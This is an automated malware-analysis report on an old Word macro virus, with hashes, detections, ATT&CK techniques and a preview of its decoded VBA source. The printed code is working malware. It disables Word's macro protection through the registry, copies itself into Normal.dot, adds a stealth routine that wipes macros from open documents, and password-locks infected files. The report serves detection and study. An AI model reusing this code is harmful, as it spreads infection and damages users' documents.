Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 24cefa0c9b1549bd…

MALICIOUS

Office (OLE)

63.0 KB Created: 1997-07-07 09:37:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: a4378a4fad643f42c165d94d64612edb SHA-1: c7b2ae61aa19b9355ddbcbf0451d1d2b0ac05160 SHA-256: 24cefa0c9b1549bd2eef2230fb24a60ed1cfe8a99d973561b63ad32493b0edb6
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening a document. The script attempts to disable macro security and copy itself to the Normal.dot template, indicating a persistence mechanism. The ClamAV detections 'Doc.Trojan.Lis-2' and 'Doc.Trojan.Lily-2' further support its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Lis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Lis-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 35254 bytes
SHA-256: 83869a349b1c6846618ab25fbd10217f00c27f30fc60c0b69452f25a549a8257
Detection
ClamAV: Doc.Trojan.Lily-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

'L i s a 2001
'Все пожелания (а также новые вири) слать на Slava_Atrancev@mail.ru
Dim dvl
Private Sub Document_Close()
 dvl = 2
 p
End Sub
Private Sub Document_New()
 dvl = 3
 p
End Sub
Private Sub Document_Open()
 dvl = 1
 p
End Sub

Private Sub p()
 '___Включаем генератор случайных чисел___'
 Randomize
 '___Вырубаем ошибки___'
 On Error Resume Next
 '___Отключение защиты от вирусов для ворда 97___'
 Application.Options.VirusProtection = False
 '___Отключение защиты от вирусов для ворда 2000___'
 System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\9.0\Word\Security", "level") = 1
 If ThisDocument.Name <> "Normal.dot" Then
  '___Если выполняется не из нормала то ...___'
  '___Вытираем нормал дот___'
  a = Application.NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, a
  '___Пишем в нормал дот наш код___'
  a = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  b = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, a)
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines 1, b
  '___Добавляем в нормал технологию стелс___'
  c = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 1, "Sub viewvbcode()"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 2, "On Error Resume Next"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 3, "a = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 4, "NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, a"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 5, "NormalTemplate.Saved = True"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 6, "c = Application.Documents.Count"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 7, "For i = 1 To c"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 8, "d = Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.CountOfLines"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 9, "If d > 0 Then"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 10, "Application.Documents.Item(i).VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, d"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 11, "Application.Documents.Item(i).Saved = True"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 12, "End If"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 13, "Next i"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 14, "Application.ShowVisualBasicEditor = True"
  NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.insertlines c + 15, "End Sub"
  '___Мелкая пакость антивирусникам, при закрытии паролируем документ на изменение, а при открытии снимаем пароль и после лечения, юзверь не сможет юзать этот файл___'
  If dvl = 2 Then
   ThisDocument.Protect Type:=wdAllowOnlyFormFields, Password:="vcdjgsqbxcly"
   ThisDocument.Save
   ThisDocument.Saved = True
  End If
  If dvl = 1 Then
   ThisDocument.Unprotect Password:="vcdjgsqbxcly"
   aa = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
   cc = ""
   For dd = 1 To 12
    ee = 0
    Do While ee < 97
    '___Генерируем пароль случайным образом___'
     ee = Int((122 * Rnd) + 1)
    Loop
    cc = cc + Chr(ee)
   Next dd
   For bb = 1 To aa
    nn = NormalTemplate.VBProject.VBComponents.Item(1).Cod
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.